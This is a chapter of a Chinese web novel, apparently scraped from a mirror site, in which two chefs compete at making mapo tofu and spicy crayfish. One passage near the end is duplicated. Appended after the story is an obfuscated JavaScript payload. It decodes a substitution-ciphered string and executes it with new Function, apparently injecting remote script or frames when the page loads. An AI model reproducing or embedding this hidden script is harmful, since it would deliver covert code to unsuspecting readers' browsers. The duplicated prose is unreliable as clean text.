(手机请访问 m.duxs8.com); 锅中加入辣椒面调匀，然后再加一小勺米酒，一汤勺生抽，一茶匙糖调味。直接水中拿出豆腐放入调好的汤中，用手小心晃动锅，使豆腐均匀裹上汤汁。煮二三分钟，调入适量的花椒面，勾上薄薄一层水淀粉，沿着锅边滴上些醋，提味，浇上芝麻香油，装盘撒葱花香菜。
两位大厨的速度越来越快，最后几乎是不相上下的完成了装盘结束的工作。
陈平安赞许的看了眼金焰：“基本功很扎实，看来也是好好下过苦功的。”
金焰皮笑肉不笑的回了句：“陈师傅谬赞了，小子比您还是差了点。”
陈平安厨艺成熟的比较晚，算的上是大器晚成了，金焰这话说起来难免没有嘲讽的意味，但陈平安显然不在意，看着金焰笑了笑，起手把麻婆豆腐推到一边，开始准备下一道菜。
看厨的两个厨子自然而然会为两个人做好菜品的保存，金焰对于自家后厨招来的厨子还是有信心的，也没得犹豫的就将装好盘的麻婆豆腐推了过去。
“第二道，麻辣小龙虾。这菜说也简单，却最考验火候。怎么能把味入得最好，又让虾子保持最鲜的火候，是个难题。好好看着，难得有机会，都多学两手。”
识货的厨子还是不少的，对于这次比拼，从金焰和陈平安开始做菜，原本乱七八糟的情绪就已经推到了一边，只看两位大厨对菜品的理解和把握。
实践出真知，这就跟学画画要看老师做范画一样。很多东西讲出来抽象，做出来却还有体味的余地，对于学习任何东西来讲，都是一样的道理。
两边还是一样的用料。
小龙虾、色拉油、食盐、醋、姜、蒜、八角、花椒、桂皮、干辣椒、料酒、豆瓣酱、甜面酱、茴香、陈皮、香叶、白芷、甘草、香砂、啤酒、白糖。
整整齐齐一点不多一点不少。
这次金焰抢先一步起手开始，两边的小龙虾都是新鲜的活虾，在盆子里活蹦乱跳，金焰伸手抓出一只，捏住虾背，迅速洗刷干净，虾腹和龙虾钳的部位被实施了重点照顾。随后揪住小龙虾的三片尾翼，捏住中间那片，用力一扭，往外一拔，虾肠就被剥了出来。
小剪刀上手，顺着虾眼往后一点的位置剪断。从虾尾抽肠的地方下剪子，把尖头塞进去顺着虾壳剪开，一直剪到虾头连接的部分，一只小龙虾就处理好了。
到底是做了多年菜的厨子，基本功过硬，金焰处理小龙虾的速度很快，没一会儿就已经完成了准备工作。反观陈平安，还在慢条斯理的处理着虾子，完全没有被带起节奏的感觉。
金焰蹙了蹙眉。
这陈老头的意思是看不起他么？虽然没有时间规定，但他那种懈怠的处理方式是不是也太过分了。
明明是个当得起一厨之主的人！
陈平安才不管金焰是怎么想的，就沉稳的弄着自己手里的小龙虾，看过程其实跟金焰的差不多，只不过速度上放慢了不少。
金焰没有等陈平安的意思，伸手姜蒜切片，准备好辣椒、花椒、小茴香、陈皮，香叶，白芷，八角，桂皮，甘草和香砂。热锅上油，油热后，下姜蒜片煸炒出香味，顺势从各个调料盘里捞了几笔，再次炒香。
“金师傅这样能看清用量么？直接在炒菜过程中从调料盘里取材应该很容易把控不好用量吧？？！”
“是啊，但人家做了多少年菜，你做了多少年菜了？金师傅就算闭着眼睛取材，也比你小子一点点斟酌用量精准。”
“孰能生巧嘛、就像以前不是常有故事说能从铜钱眼里往里倒香油，还能不沾铜钱么？就是一个道理。”
接下来看准时间，把清理好的小龙虾倒进锅里，很清楚的看到虾尾炒至全部卷起，金焰勺子舀起些料酒，又调了些醋，再次炒匀，随后倒进一大勺豆瓣酱，一勺甜面酱继续翻炒。在全部炒匀之后，起了瓶啤酒，倒进锅里，大火烧开后转中火，加白糖提鲜盖上盖焖煮。
基本步骤完成，金焰这才抽时间看了眼陈平安，却是看的他一愣。
陈平安的虾已经处理好了，也是再跟着他的步骤炒，不过每一次加完料之后都会挑起勺子沾一点酱汁，试上一试，而老爷子的刀工再次震撼众人，速度完全相反与处理虾的时候，看到人眼花缭乱。
难怪有人说看会做菜的人做料理是一种享受。
偶尔觉得会像杂技表演。
金焰愣了几秒，看向自己锅里，预估着水分快要收干的时候，开盖大火收汁。一股子浓香从锅里飘散出来，当时就听见咕咚咕咚三声咽口水的声音。
抬眼过去，看见陈平安带来的三个小不点里，高挑俊美的那个顿了顿，一脸恨铁不成钢的回头对着两个同伴啪啪各给了一个暴栗：“你们可真是有出息！！给陈叔丢脸！！”
说的你好像没咽口水一样。
说的你好像不馋一样。
说的你好像没闻到香味一样。
接收到无数道幽怨电波，简风毫不脸红的转过来，眼观鼻，鼻观口，在那儿装得道高人。
出息！！
骗子！！
混蛋！！
陈平安晚了金焰几分钟完成菜色，端出来，放在桌上，看了看两边成色。
“小伙子比我想的出色啊，很厉害。”
“陈老也是宝刀未老，看来今天跟您讨教，也是小子有福。”
金焰愣了几秒，看向自己锅里，预估着水分快要收干的时候，开盖大火收汁。一股子浓香从锅里飘散出来，当时就听见咕咚咕咚三声咽口水的声音。
抬眼过去，看见陈平安带来的三个小不点里，高挑俊美的那个顿了顿，一脸恨铁不成钢的回头对着两个同伴啪啪各给了一个暴栗：“你们可真是有出息！！给陈叔丢脸！！”
说的你好像没咽口水一样。
说的你好像不馋一样。
说的你好像没闻到香味一样。
接收到无数道幽怨电波，简风毫不脸红的转过来，眼观鼻，鼻观口，在那儿装得道高人。
出息！！
骗子！！
混蛋！！
陈平安晚了金焰几分钟完成菜色，端出来，放在桌上，看了看两边成色。
“小伙子比我想的出色啊，很厉害。”
“陈老也是宝刀未老，看来今天跟您讨教，也是小子有福。
(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();